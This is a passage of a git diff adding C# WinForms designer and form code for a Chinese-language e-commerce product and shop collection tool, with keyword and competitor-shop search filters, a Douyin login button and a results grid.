System.Drawing.Point(5, 6); + this.lblName.Name = "lblName"; + this.lblName.Size = new System.Drawing.Size(57, 17); + this.lblName.TabIndex = 0; + this.lblName.Text = "lblName"; + // + // tv + // + this.tv.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(251)))), ((int)(((byte)(251)))), ((int)(((byte)(251))))); + this.tv.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.tv.ChildNodeSelectedBgColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.tv.Cursor = System.Windows.Forms.Cursors.Hand; + this.tv.Dock = System.Windows.Forms.DockStyle.Fill; + this.tv.DrawMode = System.Windows.Forms.TreeViewDrawMode.OwnerDrawAll; + this.tv.ExpandButtonColor = System.Drawing.Color.FromArgb(((int)(((byte)(255)))), ((int)(((byte)(255)))), ((int)(((byte)(255))))); + this.tv.FullRowSelect = true; + this.tv.GroupBgColor = System.Drawing.Color.FromArgb(((int)(((byte)(249)))), ((int)(((byte)(249)))), ((int)(((byte)(249))))); + this.tv.GroupFont = new System.Drawing.Font("微软雅黑", 10.5F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.tv.GroupTitleColor = System.Drawing.Color.FromArgb(((int)(((byte)(80)))), ((int)(((byte)(80)))), ((int)(((byte)(80))))); + this.tv.HideCollapsedGroup = false; + this.tv.ItemHeight = 32; + this.tv.Location = new System.Drawing.Point(0, 0); + this.tv.Margin = new System.Windows.Forms.Padding(3, 4, 3, 4); + this.tv.Name = "tv"; + treeNode1.Name = "好物采集"; + treeNode1.Text = "好物采集"; + treeNode2.Name = "同行采集"; + treeNode2.Text = "同行采集"; + treeNode3.Name = "整店采集"; + treeNode3.Text = "整店采集"; + treeNode4.Name = "猜你喜欢采集"; + treeNode4.Text = "猜你喜欢采集"; + treeNode5.Name = "关键词采集"; + treeNode5.Text = "关键词采集"; + treeNode6.Name = "采集商品"; + treeNode6.Text = "采集商品"; + this.tv.Nodes.AddRange(new System.Windows.Forms.TreeNode[] { + treeNode6}); + this.tv.OverForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(235)))), ((int)(((byte)(235)))), ((int)(((byte)(235))))); + this.tv.Size = new System.Drawing.Size(140, 450); + this.tv.TabIndex = 3; + this.tv.AfterSelect += new System.Windows.Forms.TreeViewEventHandler(this.tv_AfterSelect); + // + // splitContainer1 + // + this.splitContainer1.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.splitContainer1.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer1.FixedPanel = System.Windows.Forms.FixedPanel.Panel1; + this.splitContainer1.Location = new System.Drawing.Point(0, 0); + this.splitContainer1.Name = "splitContainer1"; + // + // splitContainer1.Panel1 + // + this.splitContainer1.Panel1.Controls.Add(this.tv); + // + // splitContainer1.Panel2 + // + this.splitContainer1.Panel2.Controls.Add(this.panel1); + this.splitContainer1.Size = new System.Drawing.Size(800, 450); + this.splitContainer1.SplitterDistance = 140; + this.splitContainer1.SplitterWidth = 1; + this.splitContainer1.TabIndex = 5; + // + // CollectForm + // + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.None; + this.ClientSize = new System.Drawing.Size(800, 450); + this.Controls.Add(this.splitContainer1); + this.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.Name = "CollectForm"; + this.Text = "CollectForm"; + this.Load += new System.EventHandler(this.CollectForm_Load); + this.panel1.ResumeLayout(false); + this.panel2.ResumeLayout(false); + this.panel2.PerformLayout(); + this.splitContainer1.Panel1.ResumeLayout(false); + this.splitContainer1.Panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer1)).EndInit(); + this.splitContainer1.ResumeLayout(false); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.Panel panel1; + private System.Windows.Forms.Panel panel3; + private System.Windows.Forms.Panel panel2; + private System.Windows.Forms.Label lblName; + private UserComponent.UcTreeView tv; + private System.Windows.Forms.SplitContainer splitContainer1; + } +} \ No newline at end of file diff --git a/TEMUKJD/KJDForms/CollectForms/CollectForm.cs b/TEMUKJD/KJDForms/CollectForms/CollectForm.cs new file mode 100644 index 0000000..e5dca4f --- /dev/null +++ b/TEMUKJD/KJDForms/CollectForms/CollectForm.cs @@ -0,0 +1,118 @@ +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Linq; +using System.Text; +using System.Threading; +using System.Threading.Tasks; +using System.Windows.Forms; + +namespace LittleRabbit.LittleRabbitForms.CollectForms +{ + public partial class CollectForm : Form + { + public Lazy haoWuCollectForm = new Lazy(); + public Lazy friendShopCollectForm = new Lazy(); + public Lazy keywordCollectForm = new Lazy(); + public Lazy caiNiXiHuanCollectForm = new Lazy(); + public Lazy shopProductCollectForm = new Lazy(); + + public CollectForm() + { + InitializeComponent(); + } + + private void tv_AfterSelect(object sender, TreeViewEventArgs e) + { + MainForm.sCurrentModule = e.Node.Name; + this.lblName.Text = e.Node.Text; + //如果是一级菜单,不做任何动作 + if (e.Node.Parent == null) return; + new Thread(() => + { + Thread.Sleep(200); + Invoke(new Action(() => + { + switch (e.Node.Name) + { + case "好物采集": + SetForm(haoWuCollectForm.Value); + break; + case "同行采集": + SetForm(friendShopCollectForm.Value); + break; + case "整店采集": + SetForm(shopProductCollectForm.Value); + break; + case "关键词采集": + SetForm(keywordCollectForm.Value); + break; + case "猜你喜欢采集": + SetForm(caiNiXiHuanCollectForm.Value); + break; + } + })); + }).Start(); + } + + /// + /// 显示隐藏层 + /// + /// + private void SetForm(Form f) + { + if (f == null) + { + foreach (Control form in panel3.Controls) + { + form.Visible = false; + if (form is Form) + { + panel3.Controls.Remove(form as Form); + } + } + return; + } + + bool had = false; + string sCurrentFormName = f.Name; + for (int i = 0; i < panel3.Controls.Count; i++) + { + if (sCurrentFormName == panel3.Controls[i].Name) + { + had = true; + panel3.Controls[i].Visible = true; + } + else + { + panel3.Controls[i].Visible = false; + } + } + if (had) + { + f = null; + return; + } + f.TopLevel = false; + f.Left = 0; + f.Top = 0; + f.FormBorderStyle = FormBorderStyle.None; + panel3.Controls.Add(f); + f.AutoSize = true; + f.Dock = DockStyle.Fill; + f.Show(); + } + + private void CollectForm_Load(object sender, EventArgs e) + { + try + { + tv.SelectedNode = tv.Nodes[0].Nodes[0]; + tv.ExpandGroup(tv.Nodes[0].Name); + } + catch { } + } + } +} diff --git a/TEMUKJD/KJDForms/CollectForms/CollectForm.resx b/TEMUKJD/KJDForms/CollectForms/CollectForm.resx new file mode 100644 index 0000000..1af7de1 --- /dev/null +++ b/TEMUKJD/KJDForms/CollectForms/CollectForm.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/TEMUKJD/KJDForms/CollectForms/FriendShopCollectForm.Designer.cs b/TEMUKJD/KJDForms/CollectForms/FriendShopCollectForm.Designer.cs new file mode 100644 index 0000000..87773ce --- /dev/null +++ b/TEMUKJD/KJDForms/CollectForms/FriendShopCollectForm.Designer.cs @@ -0,0 +1,566 @@ +namespace LittleRabbit.LittleRabbitForms.CollectForms +{ + partial class FriendShopCollectForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.components = new System.ComponentModel.Container(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle4 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle5 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle6 = new System.Windows.Forms.DataGridViewCellStyle(); + this.splitContainer1 = new System.Windows.Forms.SplitContainer(); + this.btnExport = new LittleRabbit.UserControls.ButtonEx(); + this.ucGroupBoxEx1 = new LittleRabbit.UserComponent.UcGroupBoxEx(this.components); + this.txtKeyWords = new DevComponents.DotNetBar.Controls.TextBoxX(); + this.btnLoginDouyin = new LittleRabbit.UserControls.ButtonEx(); + this.btnCollect = new LittleRabbit.UserControls.ButtonEx(); + this.ucGroupBoxEx2 = new LittleRabbit.UserComponent.UcGroupBoxEx(this.components); + this.cmbSort = new System.Windows.Forms.ComboBox(); + this.txtScoreRateMax = new System.Windows.Forms.TextBox(); + this.checkBox1 = new System.Windows.Forms.CheckBox(); + this.label9 = new System.Windows.Forms.Label(); + this.txtTotalPage = new System.Windows.Forms.TextBox(); + this.label10 = new System.Windows.Forms.Label(); + this.label11 = new System.Windows.Forms.Label(); + this.txtScoreRateMin = new System.Windows.Forms.TextBox(); + this.label12 = new System.Windows.Forms.Label(); + this.txtShopSalesMax = new System.Windows.Forms.TextBox(); + this.txtProductCountMax = new System.Windows.Forms.TextBox(); + this.label13 = new System.Windows.Forms.Label(); + this.txtProductCountMin = new System.Windows.Forms.TextBox(); + this.label14 = new System.Windows.Forms.Label(); + this.label15 = new System.Windows.Forms.Label(); + this.txtShopSalesMin = new System.Windows.Forms.TextBox(); + this.label16 = new System.Windows.Forms.Label(); + this.splitContainer2 = new System.Windows.Forms.SplitContainer(); + this.dgvCollect = new LittleRabbit.UserComponent.DataGridViewEx(); + this.colSelect = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.colKeyword = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colShopId = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colShopName = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colRate = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colSaleCount = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colShopCount = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colProductId = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colDelete = new System.Windows.Forms.DataGridViewLinkColumn(); + this.statusBar = new LittleRabbit.UserControls.StatusBarUserControl(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer1)).BeginInit(); + this.splitContainer1.Panel1.SuspendLayout(); + this.splitContainer1.Panel2.SuspendLayout(); + this.splitContainer1.SuspendLayout(); + this.ucGroupBoxEx1.SuspendLayout(); + this.ucGroupBoxEx2.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer2)).BeginInit(); + this.splitContainer2.Panel1.SuspendLayout(); + this.splitContainer2.Panel2.SuspendLayout(); + this.splitContainer2.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.dgvCollect)).BeginInit(); + this.SuspendLayout(); + // + // splitContainer1 + // + this.splitContainer1.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer1.FixedPanel = System.Windows.Forms.FixedPanel.Panel1; + this.splitContainer1.Location = new System.Drawing.Point(0, 0); + this.splitContainer1.Name = "splitContainer1"; + this.splitContainer1.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // splitContainer1.Panel1 + // + this.splitContainer1.Panel1.Controls.Add(this.btnExport); + this.splitContainer1.Panel1.Controls.Add(this.ucGroupBoxEx1); + this.splitContainer1.Panel1.Controls.Add(this.btnLoginDouyin); + this.splitContainer1.Panel1.Controls.Add(this.btnCollect); + this.splitContainer1.Panel1.Controls.Add(this.ucGroupBoxEx2); + // + // splitContainer1.Panel2 + // + this.splitContainer1.Panel2.Controls.Add(this.splitContainer2); + this.splitContainer1.Size = new System.Drawing.Size(800, 450); + this.splitContainer1.SplitterDistance = 121; + this.splitContainer1.TabIndex = 376; + // + // btnExport + // + this.btnExport.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.btnExport.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnExport.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnExport.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnExport.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnExport.ForeColor = System.Drawing.Color.White; + this.btnExport.Location = new System.Drawing.Point(720, 84); + this.btnExport.Margin = new System.Windows.Forms.Padding(2); + this.btnExport.Name = "btnExport"; + this.btnExport.Size = new System.Drawing.Size(66, 26); + this.btnExport.TabIndex = 394; + this.btnExport.Text = "导出数据"; + this.btnExport.UseVisualStyleBackColor = false; + this.btnExport.Click += new System.EventHandler(this.btnExport_Click); + // + // ucGroupBoxEx1 + // + this.ucGroupBoxEx1.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.ucGroupBoxEx1.BorderStyle = LittleRabbit.UserComponent.UcGroupBoxEx.GroupBoxBorderStyle.ROUND; + this.ucGroupBoxEx1.Controls.Add(this.txtKeyWords); + this.ucGroupBoxEx1.Location = new System.Drawing.Point(3, 2); + this.ucGroupBoxEx1.Name = "ucGroupBoxEx1"; + this.ucGroupBoxEx1.Size = new System.Drawing.Size(192, 120); + this.ucGroupBoxEx1.TabIndex = 393; + this.ucGroupBoxEx1.TabStop = false; + this.ucGroupBoxEx1.Text = "采集关键词"; + // + // txtKeyWords + // + // + // + // + this.txtKeyWords.Border.Class = "TextBoxBorder"; + this.txtKeyWords.Border.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.txtKeyWords.Location = new System.Drawing.Point(10, 21); + this.txtKeyWords.Multiline = true; + this.txtKeyWords.Name = "txtKeyWords"; + this.txtKeyWords.PreventEnterBeep = true; + this.txtKeyWords.Size = new System.Drawing.Size(171, 88); + this.txtKeyWords.TabIndex = 7; + this.txtKeyWords.WatermarkText = "请输入要搜索的商品名称\r\n如垃圾桶,连衣裙等\r\n一行一个"; + // + // btnLoginDouyin + // + this.btnLoginDouyin.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.btnLoginDouyin.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnLoginDouyin.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnLoginDouyin.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnLoginDouyin.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnLoginDouyin.ForeColor = System.Drawing.Color.White; + this.btnLoginDouyin.Location = new System.Drawing.Point(720, 20); + this.btnLoginDouyin.Margin = new System.Windows.Forms.Padding(2); + this.btnLoginDouyin.Name = "btnLoginDouyin"; + this.btnLoginDouyin.Size = new System.Drawing.Size(66, 26); + this.btnLoginDouyin.TabIndex = 373; + this.btnLoginDouyin.Text = "登录抖音"; + this.btnLoginDouyin.UseVisualStyleBackColor = false; + this.btnLoginDouyin.Click += new System.EventHandler(this.btnLoginDouyin_Click); + // + // btnCollect + // + this.btnCollect.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.btnCollect.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnCollect.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnCollect.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnCollect.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnCollect.ForeColor = System.Drawing.Color.White; + this.btnCollect.Location = new System.Drawing.Point(720, 52); + this.btnCollect.Margin = new System.Windows.Forms.Padding(2); + this.btnCollect.Name = "btnCollect"; + this.btnCollect.Size = new System.Drawing.Size(66, 26); + this.btnCollect.TabIndex = 374; + this.btnCollect.Text = "开始采集"; + this.btnCollect.UseVisualStyleBackColor = false; + this.btnCollect.Click += new System.EventHandler(this.btnCollect_Click); + // + // ucGroupBoxEx2 + // + this.ucGroupBoxEx2.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.ucGroupBoxEx2.BorderStyle = LittleRabbit.UserComponent.UcGroupBoxEx.GroupBoxBorderStyle.ROUND; + this.ucGroupBoxEx2.Controls.Add(this.cmbSort); + this.ucGroupBoxEx2.Controls.Add(this.txtScoreRateMax); + this.ucGroupBoxEx2.Controls.Add(this.checkBox1); + this.ucGroupBoxEx2.Controls.Add(this.label9); + this.ucGroupBoxEx2.Controls.Add(this.txtTotalPage); + this.ucGroupBoxEx2.Controls.Add(this.label10); + this.ucGroupBoxEx2.Controls.Add(this.label11); + this.ucGroupBoxEx2.Controls.Add(this.txtScoreRateMin); + this.ucGroupBoxEx2.Controls.Add(this.label12); + this.ucGroupBoxEx2.Controls.Add(this.txtShopSalesMax); + this.ucGroupBoxEx2.Controls.Add(this.txtProductCountMax); + this.ucGroupBoxEx2.Controls.Add(this.label13); + this.ucGroupBoxEx2.Controls.Add(this.txtProductCountMin); + this.ucGroupBoxEx2.Controls.Add(this.label14); + this.ucGroupBoxEx2.Controls.Add(this.label15); + this.ucGroupBoxEx2.Controls.Add(this.txtShopSalesMin); + this.ucGroupBoxEx2.Controls.Add(this.label16); + this.ucGroupBoxEx2.Location = new System.Drawing.Point(196, 2); + this.ucGroupBoxEx2.Name = "ucGroupBoxEx2"; + this.ucGroupBoxEx2.Size = new System.Drawing.Size(357, 120); + this.ucGroupBoxEx2.TabIndex = 395; + this.ucGroupBoxEx2.TabStop = false; + this.ucGroupBoxEx2.Text = "采集参数"; + // + // cmbSort + // + this.cmbSort.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; + this.cmbSort.FormattingEnabled = true; + this.cmbSort.Items.AddRange(new object[] { + "综合", + "销量"}); + this.cmbSort.Location = new System.Drawing.Point(68, 22); + this.cmbSort.Name = "cmbSort"; + this.cmbSort.Size = new System.Drawing.Size(85, 25); + this.cmbSort.TabIndex = 375; + // + // txtScoreRateMax + // + this.txtScoreRateMax.Location = new System.Drawing.Point(287, 86); + this.txtScoreRateMax.Name = "txtScoreRateMax"; + this.txtScoreRateMax.Size = new System.Drawing.Size(55, 23); + this.txtScoreRateMax.TabIndex = 391; + this.txtScoreRateMax.Text = "5"; + // + // checkBox1 + // + this.checkBox1.AutoSize = true; + this.checkBox1.Location = new System.Drawing.Point(13, 87); + this.checkBox1.Name = "checkBox1"; + this.checkBox1.Size = new System.Drawing.Size(99, 21); + this.checkBox1.TabIndex = 392; + this.checkBox1.Text = "显示商品图片"; + this.checkBox1.UseVisualStyleBackColor = true; + this.checkBox1.Visible = false; + // + // label9 + // + this.label9.AutoSize = true; + this.label9.Location = new System.Drawing.Point(275, 89); + this.label9.Name = "label9"; + this.label9.Size = new System.Drawing.Size(13, 17); + this.label9.TabIndex = 390; + this.label9.Text = "-"; + // + // txtTotalPage + // + this.txtTotalPage.Location = new System.Drawing.Point(68, 54); + this.txtTotalPage.Name = "txtTotalPage"; + this.txtTotalPage.Size = new System.Drawing.Size(85, 23); + this.txtTotalPage.TabIndex = 376; + this.txtTotalPage.Text = "5"; + // + // label10 + // + this.label10.AutoSize = true; + this.label10.Location = new System.Drawing.Point(162, 90); + this.label10.Name = "label10"; + this.label10.Size = new System.Drawing.Size(56, 17); + this.label10.TabIndex = 389; + this.label10.Text = "体验分数"; + // + // label11 + // + this.label11.AutoSize = true; + this.label11.Location = new System.Drawing.Point(11, 26); + this.label11.Name = "label11"; + this.label11.Size = new System.Drawing.Size(56, 17); + this.label11.TabIndex = 377; + this.label11.Text = "排  序"; + // + // txtScoreRateMin + // + this.txtScoreRateMin.Location = new System.Drawing.Point(219, 86); + this.txtScoreRateMin.Name = "txtScoreRateMin"; + this.txtScoreRateMin.Size = new System.Drawing.Size(55, 23); + this.txtScoreRateMin.TabIndex = 388; + this.txtScoreRateMin.Text = "0"; + // + // label12 + // + this.label12.AutoSize = true; + this.label12.Location = new System.Drawing.Point(10, 58); + this.label12.Name = "label12"; + this.label12.Size = new System.Drawing.Size(56, 17); + this.label12.TabIndex = 378; + this.label12.Text = "采集页数"; + // + // txtShopSalesMax + // + this.txtShopSalesMax.Location = new System.Drawing.Point(287, 54); + this.txtShopSalesMax.Name = "txtShopSalesMax"; + this.txtShopSalesMax.Size = new System.Drawing.Size(55, 23); + this.txtShopSalesMax.TabIndex = 387; + this.txtShopSalesMax.Text = "99999999"; + // + // txtProductCountMax + // + this.txtProductCountMax.Location = new System.Drawing.Point(287, 22); + this.txtProductCountMax.Name = "txtProductCountMax"; + this.txtProductCountMax.Size = new System.Drawing.Size(55, 23); + this.txtProductCountMax.TabIndex = 383; + this.txtProductCountMax.Text = "99999999"; + // + // label13 + // + this.label13.AutoSize = true; + this.label13.Location = new System.Drawing.Point(275, 57); + this.label13.Name = "label13"; + this.label13.Size = new System.Drawing.Size(13, 17); + this.label13.TabIndex = 386; + this.label13.Text = "-"; + // + // txtProductCountMin + // + this.txtProductCountMin.Location = new System.Drawing.Point(219, 22); + this.txtProductCountMin.Name = "txtProductCountMin"; + this.txtProductCountMin.Size = new System.Drawing.Size(55, 23); + this.txtProductCountMin.TabIndex = 379; + this.txtProductCountMin.Text = "0"; + // + // label14 + // + this.label14.AutoSize = true; + this.label14.Location = new System.Drawing.Point(162, 58); + this.label14.Name = "label14"; + this.label14.Size = new System.Drawing.Size(56, 17); + this.label14.TabIndex = 385; + this.label14.Text = "店铺月销"; + // + // label15 + // + this.label15.AutoSize = true; + this.label15.Location = new System.Drawing.Point(162, 26); + this.label15.Name = "label15"; + this.label15.Size = new System.Drawing.Size(56, 17); + this.label15.TabIndex = 380; + this.label15.Text = "宝贝数量"; + // + // txtShopSalesMin + // + this.txtShopSalesMin.Location = new System.Drawing.Point(219, 54); + this.txtShopSalesMin.Name = "txtShopSalesMin"; + this.txtShopSalesMin.Size = new System.Drawing.Size(55, 23); + this.txtShopSalesMin.TabIndex = 384; + this.txtShopSalesMin.Text = "0"; + // + // label16 + // + this.label16.AutoSize = true; + this.label16.Location = new System.Drawing.Point(275, 25); + this.label16.Name = "label16"; + this.label16.Size = new System.Drawing.Size(13, 17); + this.label16.TabIndex = 382; + this.label16.Text = "-"; + // + // splitContainer2 + // + this.splitContainer2.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer2.FixedPanel = System.Windows.Forms.FixedPanel.Panel2; + this.splitContainer2.Location = new System.Drawing.Point(0, 0); + this.splitContainer2.Name = "splitContainer2"; + this.splitContainer2.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // splitContainer2.Panel1 + // + this.splitContainer2.Panel1.Controls.Add(this.dgvCollect); + this.splitContainer2.Panel1.Padding = new System.Windows.Forms.Padding(5, 0, 5, 0); + // + // splitContainer2.Panel2 + // + this.splitContainer2.Panel2.Controls.Add(this.statusBar); + this.splitContainer2.Size = new System.Drawing.Size(800, 325); + this.splitContainer2.SplitterDistance = 299; + this.splitContainer2.SplitterWidth = 1; + this.splitContainer2.TabIndex = 7; + // + // dgvCollect + // + this.dgvCollect.AllowUserToAddRows = false; + this.dgvCollect.AllowUserToDeleteRows = false; + dataGridViewCellStyle4.BackColor = System.Drawing.Color.WhiteSmoke; + this.dgvCollect.AlternatingRowsDefaultCellStyle = dataGridViewCellStyle4; + this.dgvCollect.BackgroundColor = System.Drawing.Color.White; + dataGridViewCellStyle5.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + dataGridViewCellStyle5.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle5.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + dataGridViewCellStyle5.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle5.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle5.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle5.WrapMode = System.Windows.Forms.DataGridViewTriState.False; + this.dgvCollect.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle5; + this.dgvCollect.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.dgvCollect.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.colSelect, + this.colKeyword, + this.colShopId, + this.colShopName, + this.colRate, + this.colSaleCount, + this.colShopCount, + this.colProductId, + this.colDelete}); + this.dgvCollect.Dock = System.Windows.Forms.DockStyle.Fill; + this.dgvCollect.Location = new System.Drawing.Point(5, 0); + this.dgvCollect.Name = "dgvCollect"; + this.dgvCollect.ReadOnly = true; + dataGridViewCellStyle6.Font = new System.Drawing.Font("微软雅黑", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.dgvCollect.RowsDefaultCellStyle = dataGridViewCellStyle6; + this.dgvCollect.RowTemplate.Height = 23; + this.dgvCollect.Size = new System.Drawing.Size(790, 299); + this.dgvCollect.TabIndex = 6; + this.dgvCollect.CellContentClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.dgvCollect_CellContentClick); + // + // colSelect + // + this.colSelect.FillWeight = 50F; + this.colSelect.HeaderText = "选"; + this.colSelect.Name = "colSelect"; + this.colSelect.ReadOnly = true; + this.colSelect.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.colSelect.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.Automatic; + this.colSelect.Visible = false; + this.colSelect.Width = 41; + // + // colKeyword + // + this.colKeyword.HeaderText = "关键词"; + this.colKeyword.Name = "colKeyword"; + this.colKeyword.ReadOnly = true; + // + // colShopId + // + this.colShopId.HeaderText = "店铺Id"; + this.colShopId.Name = "colShopId"; + this.colShopId.ReadOnly = true; + // + // colShopName + // + this.colShopName.FillWeight = 150F; + this.colShopName.HeaderText = "店铺名称"; + this.colShopName.Name = "colShopName"; + this.colShopName.ReadOnly = true; + this.colShopName.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.colShopName.Width = 150; + // + // colRate + // + this.colRate.HeaderText = "体验分数"; + this.colRate.Name = "colRate"; + this.colRate.ReadOnly = true; + this.colRate.Width = 80; + // + // colSaleCount + // + this.colSaleCount.HeaderText = "店铺销量"; + this.colSaleCount.Name = "colSaleCount"; + this.colSaleCount.ReadOnly = true; + this.colSaleCount.Width = 80; + // + // colShopCount + // + this.colShopCount.FillWeight = 150F; + this.colShopCount.HeaderText = "店铺宝贝数量"; + this.colShopCount.Name = "colShopCount"; + this.colShopCount.ReadOnly = true; + // + // colProductId + // + this.colProductId.HeaderText = "商品链接"; + this.colProductId.Name = "colProductId"; + this.colProductId.ReadOnly = true; + this.colProductId.Width = 300; + // + // colDelete + // + this.colDelete.HeaderText = "删除"; + this.colDelete.Name = "colDelete"; + this.colDelete.ReadOnly = true; + this.colDelete.Visible = false; + this.colDelete.Width = 81; + // + // statusBar + // + this.statusBar.BackColor = System.Drawing.Color.White; + this.statusBar.Dock = System.Windows.Forms.DockStyle.Fill; + this.statusBar.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.statusBar.Location = new System.Drawing.Point(0, 0); + this.statusBar.Margin = new System.Windows.Forms.Padding(0); + this.statusBar.Name = "statusBar"; + this.statusBar.Size = new System.Drawing.Size(800, 25); + this.statusBar.TabIndex = 4; + // + // FriendShopCollectForm + // + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.None; + this.BackColor = System.Drawing.Color.White; + this.ClientSize = new System.Drawing.Size(800, 450); + this.Controls.Add(this.splitContainer1); + this.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.Name = "FriendShopCollectForm"; + this.Text = "同行采集"; + this.Load += new System.EventHandler(this.FriendShopCollectForm_Load); + this.splitContainer1.Panel1.ResumeLayout(false); + this.splitContainer1.Panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer1)).EndInit(); + this.splitContainer1.ResumeLayout(false); + this.ucGroupBoxEx1.ResumeLayout(false); + this.ucGroupBoxEx2.ResumeLayout(false); + this.ucGroupBoxEx2.PerformLayout(); + this.splitContainer2.Panel1.ResumeLayout(false); + this.splitContainer2.Panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer2)).EndInit(); + this.splitContainer2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.dgvCollect)).EndInit(); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.SplitContainer splitContainer1; + private UserControls.ButtonEx btnExport; + private UserComponent.UcGroupBoxEx ucGroupBoxEx1; + 